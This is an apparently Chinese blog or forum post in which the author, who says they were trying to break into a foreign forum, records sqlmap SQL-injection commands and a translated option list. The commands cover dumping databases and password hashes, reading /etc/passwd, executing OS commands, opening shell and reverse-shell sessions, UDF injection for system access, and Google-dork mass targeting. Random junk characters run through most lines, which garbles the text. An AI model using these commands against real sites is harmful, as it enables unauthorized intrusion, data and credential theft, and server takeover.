今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
* {! F! i- b) G0 \# gsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
, q5 H- N" N: O+ Ysqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名8 E4 o8 Q1 r+ ^
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
/ U" m) E* q4 v B' B$ I
- }* O* p: @6 u+ W6 |$ o9 psqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
" [7 c# F$ p3 k0 #获取字段内容
" h- l; y- @& a: S1 l0 n
5 l* Y% x2 q9 N******************信息获取******************2 E: u/ y2 i G
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型, `3 y8 H& _4 r% v
sqlmap -u “http://url/news?id=1″ –users #列数据库用户! g' w" r& U& Z7 L
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
# S3 Q9 q( T% D4 `1 _8 \ o& h) m5 Ysqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码, D8 w. p5 F5 }$ G
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码0 V) O+ Y8 z1 o) C5 \8 x$ z7 Q
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
! g t {4 |3 v2 q–start 1 –stop 20 #列出指定字段,列出20 条4 S' Y7 D7 s, o3 I+ I5 I s
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
- }6 K9 j, B2 h( E* _sqlmap -u “http://url/news?id=1″ –privileges #查看权限6 @) M# w' g7 [9 c: i1 B8 Z* c
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色# Q- g2 S5 D) r/ B
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
/ e* p3 i/ `! u$ s8 bsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表# a7 H; a/ @9 `2 y2 l
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录# q; J r* Y0 D: i6 c: [
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
3 j% \) o L7 Fsqlmap -u “http://url/news?id=1″-b #获取banner信息; A0 a% W# S1 I5 m
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
( Q$ g) ^* m' r- B0 W6 f3 u6 l, Qsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型* [8 }2 e; ]3 T6 X- ]$ O; x' j9 m
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
* }; O" N* Q- k2 L" M. wsqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
4 e5 \3 G& L6 [) Tsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令/ L ~/ j( T: @2 @) W
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
5 M- h* o) H1 a3 d1 `6 f/ R# fsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令 R' Z9 |3 V7 a i! M# v. N
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell+ N4 @/ W: O2 j" Y6 O! z! {8 [+ M
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表- L/ D) v9 ~6 Y# D) W, h! f. C
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度5 |6 S* {/ [+ [6 v* B4 h2 d y
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度! i7 n' r7 |: h9 z S0 h
***********高级用法*************
M+ g" X& w0 c' }( ?: f: S-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
( b( S8 c3 E2 ?9 |- k: d8 p' Csqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问- z7 k2 V/ o8 ?
–technique 测试指定注入类型\使用的技术
4 C- a# y# _1 _* @3 _5 T不加参数默认测试所有注入技术
/ Z, T5 b {5 h, h• B: 基于布尔的SQL 盲注
4 {( S6 j7 h" y0 k% e• E: 基于显错sql 注入
) `6 S0 k2 u- x( Z9 Y! I; C( M3 Z• U: 基于UNION 注入
3 E' E* q: k# O: N7 J7 c# H! h3 b• S: 叠层sql 注入1 D: _0 s2 O- W- B* S
• T: 基于时间盲注- D7 j# q2 u# u8 Y
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()4 h6 U% W7 g" v
–tamper 插件所在目录
+ N" m# O! A7 ^4 Q) J\sqlmap-dev\tamper
, l0 w( {4 a8 c G- D- M1 ?; ~sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能% L9 L4 x# R* ]" S4 f" M" j
level 执行测试等级 攻击实例:7 F6 Q' M. O3 z, R: x1 L
Sqlmap -u “http://url/news?id=1&Submit=Submit”) s/ g8 Q4 L+ \, _8 _7 d+ E6 h! {
–cookie=”PHPSESSID=41aa833e6d0d% d& P% p$ X$ z9 y! ?' ^
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user0 x: ~0 ^- X4 y0 Q
–password
$ |2 ~: O6 K4 [/ R6 Y$ F参考文档:http://sqlmap.sourceforge.net/doc/README.html) o' ~+ J, ?; h3 W+ Q8 k$ _" {
***********安装最新版本*************
* z$ _8 |9 g* Kubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版( U" o" S/ w; M1 N) _, t
sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
& y4 c$ I! d! Z5 U4 S, [安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件# n: {, U" d( F6 |3 a% C$ ?
sudo vim /home/当前用户/.bashrc
, v$ ?9 V% a2 ?; v/ ^0 G2 ] y4 F#任意位置加上:/ k2 R* P0 j4 {
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效2 b- ?" [' Y2 A
如果想对所有用户有效 可设置全局 编辑下面的文件. d. P9 w7 K! ~) O$ j/ q; ^
vim /etc/profile6 m, C: @ G: u: j, ]( ]7 L
同样加上:/ c: F) Z* T# |7 g& F3 |. C
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
: A% A( P4 t% x4 a; f******************windows 7 (x64) sqlmap install (SVN)************5 x- a9 B, y0 k! Y6 |+ K4 G
http://www.python.org/getit/ 安装python) z/ R3 S* B% _$ n0 K$ @
http://www.sliksvn.com/en/download 安装windows svn client$ M7 Y6 v |" h
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
, G8 A7 I) M$ |7 i- ~安装sqlmap6 I! h: U! B8 Z) M. L
*修改环境变量3 ~, R$ ~. _+ X1 y
–version 显示程序的版本号并退出7 s0 @6 ?, o' J2 S
-h, –help 显示此帮助消息并退出$ ?: E: k8 b5 ~; p6 ?
-v VERBOSE 详细级别:0-6(默认为1)
6 \9 X, r4 X8 nTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。
( T* D4 \9 d7 C& k, D5 W7 Y6 y-d DIRECT 直接连接到数据库。8 I) }; S8 c: e9 H& q
-u URL, –url=URL 目标URL。
8 l: d0 ~4 w) }# l* D* H r-l LIST 从Burp 或WebScarab 代理的日志中解析目标。4 m' R; T0 I% x" z. c( ?
-r REQUESTFILE 从一个文件中载入HTTP 请求。
; x& k7 P' m' i& O3 D( }-g GOOGLEDORK 处理Google dork 的结果作为目标URL。5 C9 R2 g+ E, I. k
-c CONFIGFILE 从INI 配置文件中加载选项。
2 z6 d; J! b3 j4 z0 I# PRequest(请求)::" Z$ F/ Y" K8 u, |
这些选项可以用来指定如何连接到目标URL。. m# C6 w( d9 K5 s3 d( o" K3 f5 {1 ~
–data=DATA 通过POST 发送的数据字符串
h; }5 y, G" t% ?3 h3 v–cookie=COOKIE HTTP Cookie 头
6 ]# G" O% v2 i8 g–cookie-urlencode URL 编码生成的cookie 注入
* _7 J5 h/ \: w( d( }–drop-set-cookie 忽略响应的Set –Cookie 头信息
( N7 j# f! r* l7 w" [ @$ M+ }
' [' N& S0 R; a8 x–user-agent=AGENT 指定 HTTP User –Agent 头( ]' T" ?7 c( _1 \6 X3 J
–random-agent 使用随机选定的HTTP User –Agent 头
8 {0 G' ?, G4 y, c–referer=REFERER 指定 HTTP Referer 头8 B. |( y& x1 N; [
–headers=HEADERS 换行分开,加入其他的HTTP 头
\) r; w! M v4 [# z–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)5 v7 y# d# p& q% ?$ j' S8 u
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)$ f4 L- V T* S6 E+ \/ }8 r; E
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)! q0 H9 r) h8 e/ t
–proxy=PROXY 使用HTTP 代理连接到目标URL
|& _5 N/ m/ c! o# K: i1 {/ `–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
) z8 r/ d& j# l$ v6 F" @# p–ignore-proxy 忽略系统默认的HTTP 代理
- W, f, _: v: v7 p9 o–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒0 P2 F# F G4 d% O6 |
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)+ q! |2 Y6 Z5 J* h* f- W+ k
–retries=RETRIES 连接超时后重新连接的时间(默认3)/ F; T: d7 W# ` ^
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式" x9 v2 v* m+ V( Y: V# a) [- |
–safe-url=SAFURL 在测试过程中经常访问的url 地址
_1 V/ b, e2 w) E- `; u; I" x0 G: r: E–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
" S9 `! `, I# _. W6 vOptimization(优化): 这些选项可用于优化SqlMap 的性能。, `$ M. i9 Q" q4 J! \8 ], M/ @4 j/ T6 O' N
-o 开启所有优化开关1 Q+ h/ R: ^8 _/ S" q+ b b3 h6 Q
–predict-output 预测常见的查询输出
! X, T9 f ]! A4 f6 y–keep-alive 使用持久的HTTP(S)连接
* n/ o+ A, ]6 o3 X–null-connection 从没有实际的HTTP 响应体中检索页面长度" B3 h2 d- ?2 v L/ k# Z
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
8 q7 i' F' B' _+ oInjection(注入):
0 X+ ^ u/ y( w. ` U这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。0 Q+ _/ h8 m: `: Y" g; [
-p TESTPARAMETER 可测试的参数(S)
5 k8 E9 V: }5 W# E–dbms=DBMS 强制后端的DBMS 为此值7 r! ]* ?# u1 [
–os=OS 强制后端的DBMS 操作系统为这个值" { k) S8 W8 S4 t) Y
–prefix=PREFIX 注入payload 字符串前缀
6 u. h8 |3 x( \9 h" i. z7 E" Q2 S–suffix=SUFFIX 注入 payload 字符串后缀5 K* d7 @% \2 S( l8 ]0 p0 W
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据# U1 y5 |: c5 q, ~* _, P, N/ b
Detection(检测):; n2 j& r8 Z6 @; G2 X
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
4 h# _9 q* D7 W' D: x- c: z0 d3 Z9 A–level=LEVEL 执行测试的等级(1-5,默认为1)$ f1 L/ Q) j- T+ F' N% T8 ]1 ~
–risk=RISK 执行测试的风险(0-3,默认为1)
( Z1 ]. r4 @- u0 C–string=STRING 查询时有效时在页面匹配字符串
5 Z( ]+ G, P2 o5 }" X+ c–regexp=REGEXP 查询时有效时在页面匹配正则表达式
2 r4 z3 q4 q7 }–text-only 仅基于在文本内容比较网页' w* b t4 E r. _! L7 @
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
! N* D, [5 T% E4 o8 g {2 u% E/ F–technique=TECH SQL 注入技术测试(默认BEUST)
4 n1 @ L- f' }7 y. f/ x! @–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
, ~. g/ U" n3 x. T) }' J–union-cols=UCOLS 定列范围用于测试UNION 查询注入
. `; ?3 L! m& L& |, _. I–union-char=UCHAR 用于暴力猜解列数的字符
$ a$ d7 @: P' p* J5 l: FFingerprint(指纹):, Z9 S9 K& z" _# f$ G& p" a
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
& h5 H. f+ ?* B! W4 f1 h$ ^Enumeration(枚举):
" e/ B" n1 b7 |+ ^ c7 Q2 g0 A: X# m `! i
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
( X# o, ]: q$ E0 e! I-b, –banner 检索数据库管理系统的标识
3 }- n: D4 a6 y2 N–current-user 检索数据库管理系统当前用户
' @( t. L7 Q: i0 o& d7 C$ f" C$ `–current-db 检索数据库管理系统当前数据库 f4 t( K1 ^3 ]% }
–is-dba 检测DBMS 当前用户是否DBA
( y: k2 _7 P: a–users 枚举数据库管理系统用户
% D7 H6 D9 R7 g/ l$ y: `–passwords 枚举数据库管理系统用户密码哈希. s/ l- i' I+ y- [$ h
–privileges 枚举数据库管理系统用户的权限. V6 V6 V i( L, m2 h+ B( Q1 i+ G
–roles 枚举数据库管理系统用户的角色
/ R- |0 B# E( s, ?( r8 a6 t. z) q–dbs 枚举数据库管理系统数据库) v: f/ w+ t$ C8 Q+ V
–tables 枚举的DBMS 数据库中的表
( A) D: l9 M/ D. L9 l* ^–columns 枚举DBMS 数据库表列
$ P2 D4 N) S3 k: j–dump 转储数据库管理系统的数据库中的表项6 Z, _5 Y% e" ^
–dump-all 转储所有的DBMS 数据库表中的条目2 F% A# h- l }( a) }0 t' Y
–search 搜索列(S),表(S)和/或数据库名称(S)& n6 P/ S& h$ j* Z9 R, }
-D DB 要进行枚举的数据库名% ~- y$ s" {- Z# _" s8 w) k
-T TBL 要进行枚举的数据库表
. [! G C* E" D( O& N0 |. k-C COL 要进行枚举的数据库列! G: w6 l2 }' `2 i& k; o$ I
-U USER 用来进行枚举的数据库用户$ u9 z% K- M. ~) d$ z- O
–exclude-sysdbs 枚举表时排除系统数据库 T& W: B& _+ Z% i
–start=LIMITSTART 第一个查询输出进入检索
+ f# l' i; D G7 o M* T) S8 Z–stop=LIMITSTOP 最后查询的输出进入检索
1 \1 m# Q; p( q9 z( W–first=FIRSTCHAR 第一个查询输出字的字符检索5 D( R" ?9 x7 X1 x" _: d
–last=LASTCHAR 最后查询的输出字字符检索5 L. g( G" L( U; w9 w9 O
–sql-query=QUERY 要执行的SQL 语句
2 b' W; N% ^9 m K" f E! C' z–sql-shell 提示交互式SQL 的shell' f1 l; ]( F! g4 k& ^0 e6 ?
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
" X2 Q( `& y2 _–common-tables 检查存在共同表
" t F" U# J2 R–common-columns 检查存在共同列
3 ~$ ^9 ?" b+ q O6 UUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。: v4 ~( C: e& s5 u# {0 O8 p
–udf-inject 注入用户自定义函数( p" O" \$ L t) M0 e
–shared-lib=SHLIB 共享库的本地路径9 e) ]: I; x2 h6 S8 {
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
1 d' A \% ?1 W1 A3 e# o" J–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
5 V0 \; x3 v' y& q+ q0 U) K–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
# N1 h, \* Y& N1 z! V–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
. s" X" g4 F* a" s- J& QOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。9 w: j9 ~2 O- Q4 E; e' u( d8 u- x8 ]
–os-cmd=OSCMD 执行操作系统命令
+ c+ S# f5 r9 h8 C$ ?6 l–os-shell 交互式的操作系统的shell
1 i6 Y5 D5 g3 z( D. q1 d: Q–os-pwn 获取一个OOB shell,meterpreter 或VNC
) o, r+ t3 T6 u# O; d: N& g–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
# a% _; t: z! S–os-bof 存储过程缓冲区溢出利用
( P: S- a/ ~3 m6 O1 N6 s( M–priv-esc 数据库进程用户权限提升% G3 T1 ]7 E" ^4 v
–msf-path=MSFPATH Metasploit Framework 本地的安装路径1 r" M L$ u" ^4 g
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
' @4 ~* y2 {& Z7 \! f
+ l8 n, e# `1 F" P/ ]/ d% v+ EWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。, P* x: b5 p: t
–reg-read 读一个Windows 注册表项值
+ _* u* L' ?* O# M–reg-add 写一个Windows 注册表项值数据) D, n) Y% q: m, T# `
–reg-del 删除Windows 注册表键值
( e* \( M$ `' K4 l5 j1 E! S% x) y- A–reg-key=REGKEY Windows 注册表键. q: \3 ~, n3 P
–reg-value=REGVAL Windows 注册表项值
# M" w0 _0 d8 v6 Y5 I–reg-data=REGDATA Windows 注册表键值数据
# y" ^3 `3 a2 g& w4 u$ C+ w! D. p–reg-type=REGTYPE Windows 注册表项值类型
# _" [# r# b9 C6 e, Z* bGeneral(一般): 这些选项可以用来设置一些一般的工作参数。- k0 S7 I/ d8 [4 l( o; q, |
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
# {8 A e8 t' Z( F. g( b-s SESSIONFILE 保存和恢复检索会话文件的所有数据! g; E. j" u" n y' o4 |
–flush-session 刷新当前目标的会话文件
3 ]+ W8 ~. M3 \2 } l4 [+ o–fresh-queries 忽略在会话文件中存储的查询结果; U/ j! E- ?$ w, Q' u+ v, c
–eta 显示每个输出的预计到达时间
6 d9 s' H- `) @" Q–update 更新SqlMap
' T9 x9 y1 a! q" y) S" ^–save file 保存选项到INI 配置文件
, [2 d: c. [, h–batch 从不询问用户输入,使用所有默认配置。
) E. p0 w; Q# H# m1 e2 Y9 p* }1 |( eMiscellaneous(杂项): R+ \9 [9 k0 Y# F6 t
–beep 发现SQL 注入时提醒3 `2 a z' W9 W# Q7 e* f
–check-payload IDS 对注入payloads 的检测测试7 D8 A* t5 n: `, ^
–cleanup SqlMap 具体的UDF 和表清理DBMS
6 S5 a4 q1 }) \% s3 t2 v' ]+ m2 P–forms 对目标URL 的解析和测试形式. P# z# ?4 a# X0 L) Q4 b! y1 N" G
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果8 r4 \5 }8 {9 k4 M8 o
–page-rank Google dork 结果显示网页排名(PR)
, i) v* F3 e& L( b$ G–parse-errors 从响应页面解析数据库管理系统的错误消息3 N. r4 A* S' q
–replicate 复制转储的数据到一个sqlite3 数据库8 {+ e: W2 `! N! n
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
/ I/ r1 U7 @6 V# K# `–wizard 给初级用户的简单向导界面 |